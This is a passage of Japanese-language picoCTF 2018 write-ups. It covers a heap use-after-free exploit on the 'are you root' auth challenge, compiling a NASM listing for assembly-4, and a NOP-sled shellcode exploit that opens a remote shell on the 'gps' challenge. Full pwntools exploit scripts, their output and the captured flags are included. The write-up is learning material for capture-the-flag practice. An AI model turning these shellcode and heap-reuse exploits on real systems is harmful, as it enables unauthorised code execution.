に格納されることを期待できそうです。
ここで期待するメモリの動きなどは、下記のwrite-upの解説がかなりわかりやすかったです。
CTFs/are you root.md at master · Dvd848/CTFs · GitHub
また、ヒープについて初心者過ぎたので、わかりやすいと評判そうだった下記の動画も参考にしました。わかりやすかった。
この3:30あたりに出てくる「後から重要になります。テストに出まーす!」の項目が今回関係が深い。
次にmallocした時に使う領域の捜査を(free listというので持っている)、freeしたばかりの領域が優先されるようにポインタの差し替えを行うらしい。
スライドのみはこちら。 Glibc malloc internal
以上を踏まえた攻撃コードがこちら。今回は最初のLogin時のusernameは b'\x05'*9
としましたが、b'a'*8 + b'\x05'
等、9バイト目が\x05
であれば、最初8バイトは何でも構わないです。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '2018shell.picoctf.com' port = 45906 e = ELF('./auth') r = remote(host, port) print(r.recvuntil(b'Enter your command:\n> ')) r.sendline(b'login ' + b'\x05'*9) print(r.recvuntil(b'Enter your command:\n> ')) r.sendline(b'reset') print(r.recvuntil(b'Enter your command:\n> ')) r.sendline(b'login hoge') print(r.recvuntil(b'Enter your command:\n> ')) r.sendline(b'show') print(r.recvuntil(b'Enter your command:\n> ')) r.sendline(b'get-flag') print(r.recv())
実行結果
$ python solve.py [*] '/.../are_you_root?/auth' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [+] Opening connection to 2018shell.picoctf.com on port 45906: Done b'Available commands:\n\tshow - show your current user and authorization level\n\tlogin [name] - log in as [name]\n\tset-auth [level] - set your authorization level (must be below 5)\n\tget-flag - print the flag (requires authorization level 5)\n\treset - log out and reset authorization level\n\tquit - exit the program\n\nEnter your command:\n> ' b'Logged in as "\x05\x05\x05\x05\x05\x05\x05\x05\x05"\n\nEnter your command:\n> ' b'Logged out!\n\nEnter your command:\n> ' b'Logged in as "hoge"\n\nEnter your command:\n> ' b'Logged in as hoge [5]\n\nEnter your command:\n> ' b'picoCTF{m3sS1nG_w1tH_tH3_h43p_3dc31505}\n' [*] Closed connection to 2018shell.picoctf.com port 45906
[Reversi] assembly-4 (550pt)
Can you find the flag using the following assembly source? WARNING: It is VERY long...
Hints
Hmm.. There must be an easier way than reversing the whole thing right?
入手できるのは、ソースコード comp.nasm
のみ。
問題の警告やヒントを見る限り覚悟していたけど、開いてみたらアセンブリ 1215 行…!無理無理!
そしてソースしか配布されていないので、このままでは実行もできません。
他の手段として思いつくのは、アセンブリをコンパイルして実行くらい。調べてみると、nasm
というのはNetwide Assemblerの略であり、nasm
というコンパイラを使ってコンパイルするらしい。
アセンブリ言語をコンパイル・実行してみる - 拾い物のコンパス
NASMはNetwide Assemblerの略であり、nasmというコンパイラを使ってコンパイルする。 NASM自体は公式サイトからダウンロードするか各ディストリのレポジトリからインストールできる。Arch Linuxでは
$ pacman -S nasm
でインストールできる。
ということで、このサイトに従ってコンパイル・実行してみる。
ラッキーなことに、kali-linux には nasm が初期状態で入っていた。
$ nasm --version NASM version 2.14
コンパイルに当たっては、ちょっと古い(10年前!)の記事ですが、書きを参考にさせていただきました。
Cとアセンブラを組み合わせてコンパイルする - 【はてな】ガットポンポコ
更に、64bit版 kali-linux で 32bit版のコンパイルをしようと頑張ってみましたが詰まったので、手っ取り早く32bit版の kali-linux を入れてそっちでコンパイル & 実行しちゃいました。
# nasm -f elf32 -o comp.o comp.nasm # gcc -o comp comp.o # ./comp picoCTF{1_h0p3_y0u_c0mP1l3d_tH15_24186504403
ちなみに、これフラグの最後に }
がありませんが、末尾の3
を}
に変えるとflagになるようです。
これについては piazza に Note がありました。
Piazza • Ask. Answer. Explore. Whenever.
If your flag does not work, EITHER replace the trailing '3's at the end with a '}' OR change '2390040222' to '2350040222' and change '70u' to 'y0u'
より詳細なNASMについての解説はGASとの比較記事が IBM Developer にあります。
Linux のアセンブラー: GAS と NASM を比較する
[Binary] gps (550pt)
You got really lost in the wilderness, with nothing but your trusty gps. Can you find your way back to a shell and get the flag? Connect with nc 2018shell.picoctf.com 58896. (Source).
Hints
Can you make your shellcode randomization-resistant?
配布されるのは実行ファイルとソースコード。
$ file gps gps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0d1026a1f6487b2456984a46cd9cb7532f2241dc, not stripped
#include <stdint.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #define GPS_ACCURACY 1337 typedef void (fn_t)(void); void initialize() { printf("GPS Initializing"); for (int i = 0; i < 10; ++i) { usleep(300000); printf("."); } printf("Done\n"); } void acquire_satellites() { printf("Acquiring satellites."); for (int i = 0; i < 3; ++i) { printf("Satellite %d", i); for (int j = 0; j < rand() % 10; ++j) { usleep(133700); printf("."); } if (i != 3) { printf("Done\n"); } else { printf("Weak signal.\n"); } } printf("\nGPS Initialized.\n"); printf("Warning: Weak signal causing low measurement accuracy\n\n"); } void *query_position() { char stk; int offset = rand() % GPS_ACCURACY - (GPS_ACCURACY / 2); void *ret = &stk + offset; return ret; } int main() { setbuf(stdout, NULL); char buffer[0x1000]; srand((unsigned) (uintptr_t) buffer); initialize(); acquire_satellites(); printf("We need to access flag.txt.\nCurrent position: %p\n", query_position()); printf("What's your plan?\n> "); fgets(buffer, sizeof(buffer), stdin); fn_t *location; printf("Where do we start?\n> "); scanf("%p", (void**) &location); location(); return 0; }
ソースの方もまぁまぁの長さがあります。
手始めに、下記のコードで、実行ファイルの詳細を確認しておきます。
from pwn import * e = ELF('gps')
実行結果
$ python solve.py (略) Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE
amd64アーキテクチャ。PIE無し。NXはdisabled。
さて、問題文からして、shellを取ってflagを表示させるのがGoalのよう。
ソースを見たところ、buffer
に任意の文字列を入力できること、実行するアドレス(*location
)を指定できることがわかります。
これは埋め込んだコードを実行させるやつ、shellcodeっぽい。Hintにもそう書いてあります。そういえば、似たような問題が 200点の [Binary] shellcode
にありました。
picoCTF2018 200pt問題のwrite-up - 好奇心の足跡
前回と明らかに違うところは、bufferに埋め込んだ攻撃コードをプログラムが勝手に実行してくれないこと。こちらから実行するアドレスを指定するようになっています。ヒントとして Current position
というのが返ってきますが、攻撃コードの開始アドレスではなく、ある程度ランダムなアドレスが返ってくるようです。
具体的には query_posiution()
関数内で確保した char stk
のアドレス + offset
。offsetに関してはランダム関数が使われていますが、-(GPS_ACCURACY / 2) ~ (GPS_ACCURACY / 2) の範囲であることがわかります。
ということは、stk
のアドレスを p
とすると、
p-(GPS_ACCURACY/2) ~ p+(GPS_ACCURACY/2)
の範囲で Current position
が返ってくるようです。
今回のように、攻撃コードがどこから始まるか不確定な場合、NOP slide
というのが使えるそうです。ヒントの randomization-resistant
に強い攻撃と言えます。こちらも調べてみます。
1つ目のwikipediaを読んだだけでは私にはよくわからなかったので探してみたら、2つ目のオライリーの記事に行き当たりました。NOP slide は NOP sled, NOP ramp とも言われるそうなので、同じことを指していると思われます。
どこから shellcode が実行されるか不確定な場合、shellcodeの頭に nop 命令をだーーーーっと入れておく作戦。これによって、nopのどこかから実行されれば、実行命令は nop, nop, nop...
を繰り返して、最終的に目的のshellcodeが実行されます。これが nop slide。
ズバリの解説が見つけられなかったので、もし良い資料があったら教えてください。。。
作戦としてはこんな感じ
- buffer に 攻撃用 shellcode を仕込む
- 上記のshellcodeは、攻撃コマンドの前を nop で埋めておき、 nop コマンドのどこかに着弾すれば攻撃コードが実行されるようにする
- 手堅い開始アドレスを計算して入力
ここで問題の開始アドレスですが「数撃ちゃ当たる」でよければ、教えてくれる Current position
をそのまま入れれば良さそう。
より真面目にやる場合、shellcodeを仕込むためのbuffer
の大きさは 0x1000 = 4096。一方、与えられるアドレスの振れ幅は 1337 (-668 ~ 668) のため、返ってきたアドレスが一番小さい p-(GPS_ACCURACY/2)
だった場合を想定してアドレスを指定した場合、最悪 p+(GPS_ACCURACY/2)
が返ってきていたとしても、shellcodeの途中に着弾する心配はなさそうです。(nop slide部分に着弾する)
shellを取るための shellcode、前回は shell-storm | Shellcodes Database で探しましたが、今回は python3-pwntools の機能で組み立てました。
アーキテクチャ毎に用意されており、今回のAMD64用には下記のモジュールが使用できます。
pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 2.2.1 documentation
こんな便利なツールがあったんですねー。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '2018shell.picoctf.com' port = 58896 GPS_ACCURACY = 1337 context.binary = './gps' nop = asm(shellcraft.amd64.nop()) r = remote(host, port) res = r.recvuntil(b"What's your plan?\n> ") print(res) query_position = re.search(b'Current position: (.*)', res).group(1) print(b'current addr: ' + query_position) shellcode = asm(shellcraft.amd64.linux.sh()) payload = nop*(0x1000-1-len(shellcode)) + shellcode r.sendline(payload) attack_addr = int(query_position, 16) + (GPS_ACCURACY//2) print('attack addr: 0x' + format(attack_addr, 'x')) print(r.recvuntil(b"Where do we start?\n> ")) r.sendline(format(attack_addr, 'x')) r.interactive()
実行結果
# python solve.py [*] '/root/ctf/picoCTF2018/gps' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE [+] Opening connection to 2018shell.picoctf.com on port 58896: Done b"GPS Initializing..........Done\nAcquiring satellites.Satellite 0...Done\nSatellite 1.....Done\nSatellite 2..Done\n\nGPS Initialized.\nWarning: Weak signal causing low measurement accuracy\n\nWe need to access flag.txt.\nCurrent position: 0x7ffcc5f7e50c\nWhat's your plan?\n> " b'current addr: 0x7ffcc5f7e50c' attack addr: 0x7ffcc5f7e7a8 b'Where do we start?\n> ' [*] Switching to interactive mode $ ls flag.txt gps gps.c xinet_startup.sh $ cat flag.txt picoCTF{s4v3_y0urs3lf_w1th_a_sl3d_0f_n0ps_oigotcln}